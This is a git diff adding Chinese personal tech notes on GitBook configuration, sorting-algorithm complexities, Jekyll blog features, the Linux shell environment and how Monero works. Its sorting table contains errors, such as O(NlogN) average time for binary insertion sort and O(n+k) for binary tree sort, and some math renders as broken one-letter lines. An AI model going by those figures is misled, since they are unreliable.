`GLOSSARY.md`。该文件主要存储词汇信息,如果在其他页面中出现了该文件中的词汇,鼠标放到词汇上会给出词汇示意。
|
||||||
|
|
||||||
|
`GLOSSARY.md` 格式:
|
||||||
|
|
||||||
|
```
|
||||||
|
## Git-----------------词汇
|
||||||
|
分散式版本控制软件--------词汇示意
|
||||||
|
|
||||||
|
## Markdown
|
||||||
|
Aaron Swartz 跟John Gruber共同设计的排版语言
|
||||||
|
```
|
||||||
|
|
||||||
|
## book.json?
|
||||||
|
|
||||||
|
`book.json` 最重要,故单独作为一节。
|
||||||
|
|
||||||
|
### title:设置书本的标题?
|
||||||
|
|
||||||
|
```
|
||||||
|
"title" : "Gitbook Use"
|
||||||
|
```
|
||||||
|
|
||||||
|
### author:作者的相关信息?
|
||||||
|
|
||||||
|
```
|
||||||
|
"author" : "ds"
|
||||||
|
```
|
||||||
|
|
||||||
|
### description:本书的简单描述?
|
||||||
|
|
||||||
|
```
|
||||||
|
"description" : "记录Gitbook的配置和一些插件的使用"
|
||||||
|
```
|
||||||
|
|
||||||
|
### language:Gitbook使用的语言?
|
||||||
|
|
||||||
|
版本2.6.4中可选的语言如下:
|
||||||
|
|
||||||
|
```
|
||||||
|
en, ar, bn, cs, de, en, es, fa, fi, fr, he, it, ja, ko, no, pl, pt, ro, ru, sv, uk, vi, zh-hans, zh-tw
|
||||||
|
```
|
||||||
|
|
||||||
|
配置使用简体中文:
|
||||||
|
|
||||||
|
```
|
||||||
|
"language" : "zh-hans",
|
||||||
|
```
|
||||||
|
|
||||||
|
### gitbook: 指定使用的gitbook版本?
|
||||||
|
|
||||||
|
```
|
||||||
|
"gitbook" : "3.2.2",
|
||||||
|
"gitbook" : ">=3.0.0"
|
||||||
|
```
|
||||||
|
|
||||||
|
### root:指定根目录?
|
||||||
|
|
||||||
|
```
|
||||||
|
"root": "."
|
||||||
|
```
|
||||||
|
|
||||||
|
### links:左侧导航栏添加链接信息?
|
||||||
|
|
||||||
|
```
|
||||||
|
"links" : {
|
||||||
|
"sidebar" : {
|
||||||
|
"个人主页" : "http://www.ds-vip.top"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### styles:自定义页面样式?
|
||||||
|
|
||||||
|
默认情况下各`generator`对应的`css`文件:
|
||||||
|
|
||||||
|
```
|
||||||
|
"styles": {
|
||||||
|
"website": "styles/website.css",
|
||||||
|
"ebook": "styles/ebook.css",
|
||||||
|
"pdf": "styles/pdf.css",
|
||||||
|
"mobi": "styles/mobi.css",
|
||||||
|
"epub": "styles/epub.css"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
例如使`<h1> <h2>`标签有下边框, 可以在`website.css`中设置,这个可以有。
|
||||||
|
|
||||||
|
```
|
||||||
|
h1 , h2{
|
||||||
|
border-bottom: 1px solid #EFEAEA;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### plugins:配置使用的插件?
|
||||||
|
|
||||||
|
```
|
||||||
|
"plugins": [
|
||||||
|
"disqus"
|
||||||
|
]
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
"plugins": [
|
||||||
|
"-search"
|
||||||
|
]
|
||||||
|
```
|
||||||
|
|
||||||
|
### pluginsConfig:配置插件的属性?
|
||||||
|
|
||||||
|
```
|
||||||
|
"pluginsConfig": {
|
||||||
|
"fontsettings": {
|
||||||
|
"theme": "sepia",
|
||||||
|
"family": "serif",
|
||||||
|
"size": 1
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
上面就是配置Gitbook界面那个`A`按钮的默认属性。
|
||||||
|
|
||||||
|
### structure?
|
||||||
|
|
||||||
|
指定 Readme、Summary、Glossary 和 Languages 对应的文件名,下面是这几个文件对应变量以及默认值:
|
||||||
|
|
||||||
|
|变量|含义和默认值
|
||||||
|
|------
|
||||||
|
|`structure.readme`|`Readme file name (defaults to README.md)`
|
||||||
|
|`structure.summary`|`Summary file name (defaults to SUMMARY.md)`
|
||||||
|
|`structure.glossary`|`Glossary file name (defaults to GLOSSARY.md)`
|
||||||
|
|`structure.languages`|`Languages file name (defaults to LANGS.md)`
|
||||||
|
|
||||||
|
## GitBook插件?
|
||||||
|
|
||||||
|
可以指定插件的版本可以使用 `plugin@0.3.1` , 下面的插件在 GitBook 的 `3.2.3` 版本中可以正常工作,[插件官网](https://plugins.gitbook.com/)。
|
||||||
|
|
||||||
|
具体介绍看这里:[https://github.com/zhangjikai/gitbook-use/blob/master/plugins.md](https://github.com/zhangjikai/gitbook-use/blob/master/plugins.md)
|
||||||
|
|
||||||
|
## 主题?
|
||||||
|
|
||||||
|
我们常用的就是 Book 文档模式,所以只看这部分。
|
||||||
|
|
||||||
|
### theme-default?
|
||||||
|
|
||||||
|
默认的 Book 主题。将 `showLevel` 设为 `true`, 就可以显示标题前面的数字索引,默认不显示。
|
||||||
|
|
||||||
|
```
|
||||||
|
{
|
||||||
|
"theme-default": {
|
||||||
|
"showLevel": true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### theme-comscore?
|
||||||
|
|
||||||
|
这个主题为标题添加了颜色
|
||||||
|
|
||||||
|
```
|
||||||
|
{
|
||||||
|
"plugins": [
|
||||||
|
"theme-comscore"
|
||||||
|
]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## book.json配置文件?
|
|
@ -0,0 +1,70 @@
|
||||||
|
# 原创
|
||||||
|
: 专题:排序算法
|
||||||
|
|
||||||
|
# 专题:排序算法
|
||||||
|
|
||||||
|
# 专题:排序算法
|
||||||
|
|
||||||
|
### 文章目录
|
||||||
|
|
||||||
|
## 1、排序分类
|
||||||
|
|
||||||
|
|算法|平均|最好|最坏|空间|稳定性
|
||||||
|
|------
|
||||||
|
|冒泡排序|O(N^2)|O(N)|O(N^2)|O(1)|稳定
|
||||||
|
|直接插入排序|O(N^2)|O(N)|O(N^2)|O(1)|稳定
|
||||||
|
|折半插入排序|O(NlogN)|O(NlogN)|O(N^2)|O(1)|稳定
|
||||||
|
|简单选择排序|O(N^2)|O(N^2)|O(N^2)|O(1)|不稳定
|
||||||
|
|快速排序|O(NlogN)|O(NlogN)|O(N^2)|O(logN)~O(N^2)|不稳定
|
||||||
|
|希尔排序|O(NlogN)| |O(n^s)|O(1)|不稳定
|
||||||
|
|归并排序|O(NlogN)|O(NlogN)|O(NlogN)|O(N)|稳定
|
||||||
|
|堆排序|O(NlogN)|O(NlogN)|O(NlogN)|O(1)|不稳定
|
||||||
|
|基数排序|O(d(n+r_d))| |O(d(n+r_d))|O(r_d)|稳定
|
||||||
|
|二叉树排序|O(n+k)|O(n+k)|O(n+k)|O(n+k)|稳定
|
||||||
|
|
||||||
|
外部排序较为复杂,后续更新。。。
|
||||||
|
|
||||||
|
## 2、常识总结
|
||||||
|
|
||||||
|
>
|
||||||
|
<p>助记:**快些**以
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
n
|
||||||
|
|
||||||
|
|
||||||
|
l
|
||||||
|
|
||||||
|
|
||||||
|
o
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
g
|
||||||
|
|
||||||
|
|
||||||
|
2
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
n
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
nlog_2n
|
||||||
|
|
||||||
|
|
||||||
|
nlog2n的速度**归队**</p>
|
||||||
|
|
||||||
|
|
||||||
|
>
|
||||||
|
稳定性助记:考研复习痛苦啊,情绪**不稳定**,**快些选一堆**好友来聊天吧.
|
||||||
|
|
||||||
|
|
||||||
|
这里需要注意简单选择排序有两个版本,交换板(数组为载体)和插入版(链表为载体),后者能得到稳定的结果。
|
||||||
|
|
||||||
|
>
|
||||||
|
更新于2018年10月25日00:30
|
||||||
|
|
|
@ -0,0 +1,192 @@
|
||||||
|
# 原创
|
||||||
|
: 为Jekyll博客添加小功能
|
||||||
|
|
||||||
|
# 为Jekyll博客添加小功能
|
||||||
|
|
||||||
|
# 为博客添加各种功能
|
||||||
|
|
||||||
|
## 1.关于Jekyll本身插件的安装
|
||||||
|
|
||||||
|
一共三种方式: <br/> * 在根目录下新建`_plugins`文件夹, 然后把对应的`*.rb`插件文件放进去就行了; <br/> * 在`_config.yml`文件中增加一个`gems`关键字, 然后把要引用的插件用数组形式存储其中即可; <br/> * 在Gemfile中添加相关的插件;
|
||||||
|
|
||||||
|
三种方法都可以, 甚至完全可以同时使用~
|
||||||
|
|
||||||
|
## 2.用kramdown自动生成目录树
|
||||||
|
|
||||||
|
```
|
||||||
|
* 目录
|
||||||
|
{:toc}
|
||||||
|
```
|
||||||
|
|
||||||
|
第一行必须加!
|
||||||
|
|
||||||
|
## 3.添加标签归档页
|
||||||
|
|
||||||
|
```
|
||||||
|
---
|
||||||
|
layout: post
|
||||||
|
title: 标签
|
||||||
|
permalink: /tags/
|
||||||
|
---
|
||||||
|
<ul class="tags">
|
||||||
|
{% for tag in site.tags %}
|
||||||
|
<li>
|
||||||
|
<a href="#{{ tag[0] }}">{{ tag[0] }}</a> <sup>{{ tag[1].size }}</sup>
|
||||||
|
</li>
|
||||||
|
{% endfor %}
|
||||||
|
</ul>
|
||||||
|
|
||||||
|
<ul class="listing">
|
||||||
|
{% for tag in site.tags %}
|
||||||
|
<li class="listing-seperator" id="{{ tag[0] }}">{{ tag[0] }}</li>
|
||||||
|
{% for post in tag[1] %}
|
||||||
|
<li class="listing-item">
|
||||||
|
<time datetime="{{ post.date | date:"%Y-%m-%d" }}">{{ post.date | date:"%Y-%m-%d" }}</time>
|
||||||
|
<a href="{{ post.url }}" title="{{ post.title }}">{{ post.title }}</a>
|
||||||
|
</li>
|
||||||
|
{% endfor %}
|
||||||
|
{% endfor %}
|
||||||
|
</ul>
|
||||||
|
```
|
||||||
|
|
||||||
|
## 4.添加日期归档页
|
||||||
|
|
||||||
|
```
|
||||||
|
---
|
||||||
|
layout: post
|
||||||
|
permalink: /archives/
|
||||||
|
title: "归档"
|
||||||
|
---
|
||||||
|
<ul>
|
||||||
|
{% for post in site.posts %}
|
||||||
|
|
||||||
|
{% unless post.next %}
|
||||||
|
<h2>{{ post.date | date: '%Y年' }}</h2>
|
||||||
|
{% else %}
|
||||||
|
{% capture year %}{{ post.date | date: '%Y' }}{% endcapture %}
|
||||||
|
{% capture nyear %}{{ post.next.date | date: '%Y' }}{% endcapture %}
|
||||||
|
{% if year != nyear %}
|
||||||
|
<h2>{{ post.date | date: '%Y年' }}</h2>
|
||||||
|
{% endif %}
|
||||||
|
{% endunless %}
|
||||||
|
|
||||||
|
<li>{{ post.date | date:"%Y年%m月%d日:" }} <a href="{{ post.url }}">{{ post.title }}</a></li>
|
||||||
|
{% endfor %}
|
||||||
|
</ul>
|
||||||
|
```
|
||||||
|
|
||||||
|
## 5.添加网易云音乐插件
|
||||||
|
|
||||||
|
```
|
||||||
|
<!-- cloud music -->
|
||||||
|
<!-- auto=1 可以控制自动播放与否,当值为 1 即打开网页就自动播放,值为 0 时需要访客手动点击播放 -->
|
||||||
|
<iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width=330 height=86
|
||||||
|
src="//music.163.com/outchain/player?type=2&id={{ page.music-id }}&auto=0&height=66">
|
||||||
|
</iframe>
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
<!-- 在正文开头添加网易云音乐插件 -->
|
||||||
|
{% if page.music-id %}
|
||||||
|
{% include cloud-music.html %}
|
||||||
|
{% endif %}
|
||||||
|
{{ content }}
|
||||||
|
```
|
||||||
|
|
||||||
|
## 6.添加站点访客数及文章浏览量
|
||||||
|
|
||||||
|
```
|
||||||
|
<script async src="//dn-lbstatics.qbox.me/busuanzi/2.3/busuanzi.pure.mini.js">
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
<!-- pv的方式,单个用户连续点击n篇文章,记录n次访问量 -->
|
||||||
|
<span id="busuanzi_container_site_pv">
|
||||||
|
本站总访问量<span id="busuanzi_value_site_pv"></span>次
|
||||||
|
</span>
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
<!-- uv的方式,单个用户连续点击n篇文章,只记录1次访客数 -->
|
||||||
|
<span id="busuanzi_container_site_uv">
|
||||||
|
本站访客数<span id="busuanzi_value_site_uv"></span>人次
|
||||||
|
</span>
|
||||||
|
```
|
||||||
|
1. 显示单页面访问量
|
||||||
|
```
|
||||||
|
<!-- pv的方式,单个用户点击1篇文章,本篇文章记录1次阅读量 -->
|
||||||
|
<span id="busuanzi_container_page_pv">
|
||||||
|
本文总阅读量<span id="busuanzi_value_page_pv"></span>次
|
||||||
|
</span>
|
||||||
|
```
|
||||||
|
|
||||||
|
## 7.添加中英文字数统计
|
||||||
|
<li>英文字数统计 <br/>
|
||||||
|
</li><li>中文字数统计 <br/>
|
||||||
|
</li>
|
||||||
|
## 8.添加评论
|
||||||
|
|
||||||
|
使用[intensedebate](https://intensedebate.com/),注册账号什么得不说了,将得到的html文件,即`intensedebate-comments.html`保存到`include`目录下,在`post.html`正文结束处添加:
|
||||||
|
|
||||||
|
```
|
||||||
|
{% if site.intensedebate_comments %}
|
||||||
|
{% include intensedebate-comments.html %}
|
||||||
|
{% endif %}
|
||||||
|
```
|
||||||
|
|
||||||
|
## 9.添加动态网站运行时间
|
||||||
|
|
||||||
|
```
|
||||||
|
<!-- 计算网站运行时间 -->
|
||||||
|
<span style="font-size:12px;"><script language=JavaScript>
|
||||||
|
function secondToDate(second) {
|
||||||
|
if (!second) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
var time = new Array(0, 0, 0, 0, 0);
|
||||||
|
|
||||||
|
if (second >= 365 * 24 * 3600) {
|
||||||
|
time[0] = parseInt(second / (365 * 24 * 3600));
|
||||||
|
second %= 365 * 24 * 3600;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (second >= 24 * 3600) {
|
||||||
|
time[1] = parseInt(second / (24 * 3600));
|
||||||
|
second %= 24 * 3600;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (second >= 3600) {
|
||||||
|
time[2] = parseInt(second / 3600);
|
||||||
|
second %= 3600;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (second >= 60) {
|
||||||
|
time[3] = parseInt(second / 60);
|
||||||
|
second %= 60;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (second > 0) {
|
||||||
|
time[4] = second;
|
||||||
|
}
|
||||||
|
return time;
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<!-- 动态显示网站运行时间 -->
|
||||||
|
<script type="text/javascript" language="javascript">
|
||||||
|
function setTime() {
|
||||||
|
var create_time = Math.round(new Date(Date.UTC(2018, 05, 05, 0, 0, 0)).getTime() / 1000);
|
||||||
|
var timestamp = Math.round((new Date().getTime() + 8 * 60 * 60 * 1000) / 1000);
|
||||||
|
currentTime = secondToDate((timestamp - create_time));
|
||||||
|
currentTimeHtml = '本站已安全运行' + currentTime[0] + '年' + currentTime[1] + '天' + currentTime[2] + '时' + currentTime[3] + '分' + currentTime[4] + '秒';
|
||||||
|
document.getElementById("htmer_time").innerHTML = currentTimeHtml;
|
||||||
|
}
|
||||||
|
setInterval(setTime, 1000);
|
||||||
|
</script></span>
|
||||||
|
```
|
||||||
|
|
||||||
|
>
|
||||||
|
添加百度统计和Google分析以及站内搜索引擎,甚至自定义搜索引擎,以及更多细节操作见个人主页下的链接
|
||||||
|
|
|
@ -0,0 +1,148 @@
|
||||||
|
# 原创
|
||||||
|
: 了解Shell环境
|
||||||
|
|
||||||
|
# 了解Shell环境
|
||||||
|
|
||||||
|
## shell 环境
|
||||||
|
|
||||||
|
大多数程序用配置文件来存储程序设置, 一些程序会根据环境变量来调整他们的行为。shell 在环境中存储了两种基本类型的数据:Shell 变量是 bash 存放的少量数据,剩下的都是 环境变量。另外还有别名和 shell 函数。
|
||||||
|
|
||||||
|
```
|
||||||
|
printenv - 打印部分或所有的环境变量
|
||||||
|
set - 设置 shell 选项
|
||||||
|
export — 导出环境变量,让随后执行的程序知道。
|
||||||
|
alias - 创建命令别名
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 检查环境变量
|
||||||
|
|
||||||
|
```
|
||||||
|
# printenv 命令也能够列出特定变量的数值
|
||||||
|
alien@localhost:~$ printenv USER
|
||||||
|
alien
|
||||||
|
# echo 命令来查看一个变量的内容
|
||||||
|
alien@localhost:~$ echo $HOME
|
||||||
|
/home/alien
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
别名无法通过使用 set 或 printenv 来查看。 用不带参数的 alias 来查看别名:
|
||||||
|
|
||||||
|
```
|
||||||
|
alien@localhost:~$ alias
|
||||||
|
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'
|
||||||
|
alias egrep='egrep --color=auto'
|
||||||
|
alias fgrep='fgrep --color=auto'
|
||||||
|
alias grep='grep --color=auto'
|
||||||
|
alias l='ls -CF'
|
||||||
|
alias la='ls -A'
|
||||||
|
alias ll='ls -alF'
|
||||||
|
alias ls='ls --color=auto'
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
<th align="center">环境变量</th>|内容
|
||||||
|
|------
|
||||||
|
<td align="center">DISPLAY</td>|如果你正在运行图形界面环境,那么这个变量就是你显示器的名字。通常,它是 “:0”, 意思是由 X 产生的第一个显示器。
|
||||||
|
<td align="center">EDITOR</td>|文本编辑器的名字。
|
||||||
|
<td align="center">SHELL</td>|shell 程序的名字。
|
||||||
|
<td align="center">HOME</td>|用户家目录。
|
||||||
|
<td align="center">LANG</td>|定义了字符集以及语言编码方式。
|
||||||
|
<td align="center">OLD_PWD</td>|先前的工作目录。
|
||||||
|
<td align="center">PAGER</td>|页输出程序的名字。这经常设置为/usr/bin/less。
|
||||||
|
<td align="center">PATH</td>|由冒号分开的目录列表,当你输入可执行程序名后,会搜索这个目录列表。
|
||||||
|
<td align="center">PS1</td>|Prompt String 1. 这个定义了你的 shell 提示符的内容。随后我们可以看到,这个变量 内容可以全面地定制。
|
||||||
|
<td align="center">PWD</td>|当前工作目录。
|
||||||
|
<td align="center">TERM</td>|终端类型名。类 Unix 的系统支持许多终端协议;这个变量设置你的终端仿真器所用的协议。
|
||||||
|
<td align="center">TZ</td>|指定你所在的时区。大多数类 Unix 的系统按照协调时间时 (UTC) 来维护计算机内部的时钟 ,然后应用一个由这个变量指定的偏差来显示本地时间。
|
||||||
|
<td align="center">USER</td>|你的用户名
|
||||||
|
|
||||||
|
### 建立shell 环境
|
||||||
|
|
||||||
|
登录 shell 会读取一个或多个启动文件----虚拟控制台会话:
|
||||||
|
|
||||||
|
|文件|内容
|
||||||
|
|------
|
||||||
|
|/etc/profile|应用于所有用户的全局配置脚本。
|
||||||
|
|~/.bash_profile|用户个人的启动文件。可以用来扩展或重写全局配置脚本中的设置。
|
||||||
|
|~/.bash_login|如果文件 ~/.bash_profile 没有找到,bash 会尝试读取这个脚本。
|
||||||
|
|~/.profile|如果文件 ~/.bash_profile 或文件 ~/.bash_login 都没有找到,bash 会试图读取这个文件。 这是基于 Debian 发行版的默认设置,比方说 Ubuntu。
|
||||||
|
|
||||||
|
非登录 shell 会话会读取以下启动文件----GUI:
|
||||||
|
|
||||||
|
|文件|内容
|
||||||
|
|------
|
||||||
|
|/etc/bash.bashrc|应用于所有用户的全局配置文件。
|
||||||
|
|~/.bashrc|用户个人的启动文件。可以用来扩展或重写全局配置脚本中的设置。
|
||||||
|
|
||||||
|
除了读取以上启动文件之外,非登录 shell 会话也会继承它们父进程的环境设置,通常是一个登录 shell。
|
||||||
|
|
||||||
|
```
|
||||||
|
alien@localhost:~$ cat .bashrc
|
||||||
|
# ~/.bashrc: executed by bash(1) for non-login shells.
|
||||||
|
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
|
||||||
|
# for examples
|
||||||
|
|
||||||
|
# If not running interactively, don't do anything
|
||||||
|
case $- in
|
||||||
|
*i*) ;;
|
||||||
|
*) return;;
|
||||||
|
esac
|
||||||
|
...
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
PATH 变量经常(但不总是,依赖于发行版)在 /etc/profile 启动文件中设置,通过这些代码:
|
||||||
|
|
||||||
|
```
|
||||||
|
# 目录 $HOME/bin 就添加到了命令搜索目录列表中
|
||||||
|
PATH=$PATH:$HOME/bin
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
>
|
||||||
|
Tips: 把文本附加到一个变量值的末尾
|
||||||
|
<pre><code>alien@localhost:~$ foo="This is some"
|
||||||
|
alien@localhost:~$ echo $foo
|
||||||
|
This is some
|
||||||
|
alien@localhost:~$ foo="$foo text.";echo $foo
|
||||||
|
This is some text.
|
||||||
|
</code></pre>
|
||||||
|
|
||||||
|
|
||||||
|
`export PATH`:这个 export 命令告诉 shell 让这个 shell 的子进程可以使用 PATH 变量的内容。
|
||||||
|
|
||||||
|
### 修改 shell 环境
|
||||||
|
|
||||||
|
添加目录到你的 PATH 变量或者是定义额外的环境变量,要把这些更改放置到 .bash_profile 文件中(或者其替代文件中,根据不同的发行版。例如,Ubuntu 使用 .profile 文件)。
|
||||||
|
|
||||||
|
对于其它的更改,要放到 .bashrc 文件中。
|
||||||
|
|
||||||
|
```
|
||||||
|
# 别名
|
||||||
|
alien@localhost:~$ ll
|
||||||
|
总用量 332
|
||||||
|
drwxrwxrwx 35 alien alien 4096 9月 18 22:32 ./
|
||||||
|
drwxr-xr-x 3 root root 4096 11月 29 2017 ../
|
||||||
|
...
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 强迫 bash 重新读取修改过的 .bashrc 文件,使用下面的命令:
|
||||||
|
source .bashrc
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 自定义Shell提示符
|
||||||
|
|
||||||
|
提示符是由一个环境变量定义的,叫做 PS1(是“prompt string one” 的简写)
|
||||||
|
|
||||||
|
```
|
||||||
|
alien@localhost:~$ echo $PS1
|
||||||
|
\[\e]0;\u@\h: \w\a\]${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
具体的修改详见:[https://billie66.github.io/TLCL/book/chap14.html](https://billie66.github.io/TLCL/book/chap14.html) ,这方面不需要了解。
|
|
@ -0,0 +1,176 @@
|
||||||
|
# 原创
|
||||||
|
: 了解门罗币
|
||||||
|
|
||||||
|
# 了解门罗币
|
||||||
|
|
||||||
|
>
|
||||||
|
参考: <br/> 1.[《区块链教程》](https://liuchengxu.gitbooks.io/blockchain-tutorial/content/) <br/> 2. [what is monero](https://blockgeeks.com/guides/what-is-monero/)
|
||||||
|
|
||||||
|
|
||||||
|
根据 [Monero(门罗) 官网](https://getmonero.org/): Monero 是一个安全,隐私和不可追踪的加密货币。通过使用密码学中一种特殊的方法,门罗确保了所有交易保持 100% 的不可关联和不可追溯性(unlinkable and untraceable)。
|
||||||
|
|
||||||
|
尽管 bytecoin 十分有前景,但是人们也注意到发生了很多负面的事情,并且鉴于它已经产出了 80% 的币。所以,决定将 bytocin 分叉,新链上的币叫做 Bitmonero,最终被重新命名为 Monero(门罗),在世界语(Esperanto)中叫做“coin”,硬币的意思。门罗的出块时间为两分钟。
|
||||||
|
|
||||||
|
门罗由一个 7 人的开发者团队领导,其中 5 人匿名,另 2 人已公开。他们是 David Latapie 和 Riccardo Spagni aka “Fluffypony”。项目是开源众筹的形式进行。
|
||||||
|
|
||||||
|
## 门罗的特别之处
|
||||||
|
|
||||||
|
门罗采用CrytoNote算法,使得它具有以下几个特性。
|
||||||
|
|
||||||
|
加密货币中理想的可替代性是什么?
|
||||||
|
|
||||||
|
>
|
||||||
|
以 [bitcoin](https://blockgeeks.com/guides/what-is-bitcoin-a-step-by-step-guide/) 为例,它引以为豪的一点就是比特币是开放的账本,但是,这也意味着每个人都可以看到里面的每一笔交易,更重要的是,每个人都可以看到交易的踪迹。简单来说,如果你拥有一个曾经用于某个非法交易的比特币,比如购买毒品,那么它的交易细节里面将会永远有这样的印记。实际上,这“污染(taint)”了你的比特币。
|
||||||
|
在某些比特币服务提供商和交易所中,这些“被污染”的币与“干净的”币永远都不会被一视同仁。这就泯灭了可替换性(fungibility),这也是比特币经常为人所诟病的一点。毕竟,为什么别人做了错事,需要你来买单呢?
|
||||||
|
|
||||||
|
|
||||||
|
于是门罗诞生了。由于所有数据和交易都是不公开的,没有人能够知道你的门罗币在之前经历了哪些交易,也无法知道你的门罗币会用来购买什么。
|
||||||
|
|
||||||
|
## 加密货币交易的工作方式
|
||||||
|
|
||||||
|
假设 Alice 需要给 Bob 发送一些比特币,交易看起来是怎样的?
|
||||||
|
|
||||||
|
### 交易输入
|
||||||
|
|
||||||
|
每个币都来源于之前的交易。所以,Alice 可以将之前交易的输出作为新交易的输入。Alice 需要从下列交易从获得输入,比如 TX(0), TX(1) 和 TX(2)。这三笔交易会被一起包含到这笔交易,并有一个交易输出 TX(Input)。
|
||||||
|
|
||||||
|
### 交易输出
|
||||||
|
|
||||||
|
输出就是 Bob 可以在之后交易花费的钱,也可能会出现找零,找零会返回给 Alice。找零会成为 Alice 未来任意交易的输入。
|
||||||
|
|
||||||
|
有了公钥加密以后,比特币交易才成为可能。为了对它有一个基本的理解,请看下图:
|
||||||
|
|
||||||
|
比特币用户首先选择私钥,公钥由私钥衍生而来。将公钥进行哈希得到一个公开的地址公布出去。如果 Alice 要给 Bob 发送 BTC,Alice 直接给 Bob 公开的地址发送即可。
|
||||||
|
|
||||||
|
门罗团队给出的“电子现金三角(Electronic cash triangle)”
|
||||||
|
|
||||||
|
正如他们所说,一个理想的电子现金应该满足三个前提:**电子的、去中心化的、隐私的**
|
||||||
|
|
||||||
|
门罗背后的哲学就是完全隐私和不透明性。发送方隐私由环签名(Ring Signature)实现。
|
||||||
|
|
||||||
|
## 门罗密码学
|
||||||
|
|
||||||
|
### Ring Signatures
|
||||||
|
|
||||||
|
环签名,简单来说就是交易过程中把几个人签名混合在一起,然后得到一个独一无二的签名,这样就没人知道这个签名是否是你本人的。
|
||||||
|
|
||||||
|
假设,Alice 发送 1000 XMR(XMR 即门罗币) 给 Bob,系统会如何使用环签名来隐藏她的身份?
|
||||||
|
|
||||||
|
首先,Alice 会确认她的“ring size(环大小)”。ring size 是取自区块链的随机输出,它等于 Alice 的输出值,即 1000 XMR。ring size 越大,交易越大,继而交易费越高。然后,她用 private spend key 对输出进行签名,并发给到区块链。另一点要注意的是,Alice 不需要向之前交易的所有者发送请求来使用这些输出。
|
||||||
|
|
||||||
|
假设 Alice 选择的 ring size 为 5 ,也就是说 4 个 decoy output(诱骗输出) 和它自己的交易,从外面看起来就像这样:
|
||||||
|
|
||||||
|
在一个环签名交易中,任意一个 decoy 就像真实输出一样,因为任何不相关的第三方(包括矿工)都无法知道发送方是谁。
|
||||||
|
|
||||||
|
**防止双花:**
|
||||||
|
|
||||||
|
矿工要做的一个重要的事情就是防止“双花”。双花就是指在同一时间,同一笔钱出现在两笔,甚至更多的交易中。双花被矿工所解决。在一个区块链中,只有当矿工将交易包含在区块并出块,交易才算完成。假设 A 打算给 B 发送一个比特币,然后它发送同样一个币给 C,矿工会把其中一笔交易放到块里,并在处理过程中覆盖另一笔交易,防止双花。但是在门罗中,由于环签名这些都是不可见的。那么要如何防止双花呢?
|
||||||
|
|
||||||
|
门罗的每一笔交易都有它自己的唯一的**密钥镜像(key image)**,鉴于密钥镜像对于每个交易都是不同的,矿工就可以非常容易地检测,判断是否双花。
|
||||||
|
|
||||||
|
### stealth address
|
||||||
|
|
||||||
|
门罗的最大一个卖点就是交易的不可关联性(unlinkability)。基本上,如果有人发送给你 200 XMR,应该没有人知道这笔钱是发送给你的。如果 Alice 要给 Bob 发送门罗币,除了 Alice,应该没人任何人知道 Bob 就是这笔钱的接收者。
|
||||||
|
|
||||||
|
**门罗要如何保证 Bob 的隐私?**
|
||||||
|
|
||||||
|
Bob 有两个 public key:public view key 和 public send key。为了推进交易,Alice 的钱包会用 Bob 的 public view key 和 public send key 来生成一次性独一无二的 public key。
|
||||||
|
|
||||||
|
**one-time public key (P) 的计算方式:**
|
||||||
|
P=H(rA)G+B
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
P
|
||||||
|
|
||||||
|
|
||||||
|
=
|
||||||
|
|
||||||
|
|
||||||
|
H
|
||||||
|
|
||||||
|
|
||||||
|
(
|
||||||
|
|
||||||
|
|
||||||
|
r
|
||||||
|
|
||||||
|
|
||||||
|
A
|
||||||
|
|
||||||
|
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
G
|
||||||
|
|
||||||
|
|
||||||
|
+
|
||||||
|
|
||||||
|
|
||||||
|
B
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
其中:
|
||||||
|
|
||||||
|
由这种方法生成一次性公钥,然后再生成在区块链里一次性的公开地址,这样的地址就叫做“stealth address”,Alice 就通过它给 Bob 发送门罗币。现在,Bob 要如何从数据的随机分布中解锁收到的门罗币呢?
|
||||||
|
|
||||||
|
Bob 也有一个 private spend key。private spend key 就是用来帮助 Bob 扫描区块链找到他的相关交易。当 Bob 找到这笔交易,他可以通过一个 private key 取回他的门罗币,这个 private key 与一次性的 public key 相关。因此 Alice 付给 Bob 门罗币,无人知晓。
|
||||||
|
|
||||||
|
**key image**
|
||||||
|
|
||||||
|
计算方式:
|
||||||
|
I=xH(P)
|
||||||
